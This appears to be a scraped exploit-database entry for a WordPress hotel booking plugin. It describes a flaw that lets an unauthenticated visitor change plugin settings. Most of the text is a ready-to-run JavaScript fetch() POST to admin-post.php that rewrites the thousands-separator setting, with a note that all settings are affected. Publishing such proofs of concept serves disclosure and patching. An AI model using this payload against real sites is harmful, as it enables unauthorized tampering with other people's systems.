Share
## https://sploitus.com/exploit?id=WPEX-ID:0256A4CB-5D29-44BB-BC69-45EDD8484C9D
All settings are affected, example, to change the Thousands Separator one, run the below command in the developer console of the web browser while being on the blog as an unauthenticated user

fetch("/wp-admin/admin-post.php?page=tp_hotel_booking_settings", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'tp_hotel_booking_price_thousands_separator=;;',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));